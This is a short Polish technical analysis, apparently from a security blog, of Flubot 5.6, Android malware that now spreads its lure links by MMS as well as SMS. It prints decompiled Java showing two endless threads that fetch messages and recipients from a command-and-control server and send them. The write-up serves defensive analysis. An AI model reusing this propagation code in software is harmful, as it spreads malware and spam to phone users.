Flubot wersja 5.6 – teraz wysyła również MMSy (tekst techniczny)
Przyjrzeliśmy się nowej (5.6) wersji Flubota. W niej po raz pierwszy wiadomości z linkami do złośliwej aplikacji dystrybuoowane są zarówno przez SMSy jak i MMSy.
W jaki sposób to się dzieje? Aplikacja wywołuje 2 wątki:
public static void d(Context _context) {
if (a == null) {
a = _context;
for (int h = 0; h < 2; h++) {
Thread thread = new Thread(new SendSMSMMS(h));
thread.start();
}
}
}
W pierwszym parametrze przekazywana jest wartość 0, następnie zaś, w drugim wywołaniu pętli 1. Klasa StartSMSMMS definiuje tworzony wątek w kodzie powyżej
public class SendSMSMMS implements Runnable {
public SendSMSMMS(int i) {
this.b = i;
}
public void run() {
int rate;
boolean isSms = this.b == 0;
rate = SMSMMSClass.GET_RATE(isSms);
int i = 0;
while (true) {
if (i * rate > 600) {
rate = SMSMMSClass.GET_RATE(isSms);
i = 0;
}
CountDownLatch done = new CountDownLatch(1);
if (isSms) {
SMSMMSClass.GET_SEND_SMS(done);
} else {
SMSMMSClass.GET_SEND_MMS(done);
}
try {
done.await(rate * 3, TimeUnit.SECONDS);
} catch (Exception e) {
}
p297956ea.sleep(rate); //Sleep
i++;
}
}
}
Konstruktor nadaje zmiennej b klasy SendSMSMMS wartość z przekazanego parametru, tj. 0 lub 1. W metodzie run, która zostanie wywołana podczas tworzenia wątku, w zależności od wartości zmiennej isSms wysyłany będzie:
- SMS jeśli zmienna będzie równa true
- MMS (false)
Dla obu opcji najpierw zostanie ustalona częstotliość (rate) z jaką aplikacja ma odpytywać serwer command&control o nową wiadomość do wysłania. Następnie w nieskończonej pętli realizowane będzie wysyłanie SMS lub MMS. Metody GET_SEND_SMS oraz GET_SEND_MMS, pobierają nową wiadomość, wraz z numerem odbiorczym z serwera c2, a następnie ją wysyłają. Po wysłaniu wiadomości wątek usypia na ilość sekund zdefiniowaną w zmiennej rate, po czym cały cykl sie powtarza, z wyjątkiem sytuacji gdy iloczyn zmiennych i oraz rate będzie większy od 600. Wtedy dodatkowo zostanie zaktualizowana częstotliwość odpytywania o nową wiadomość.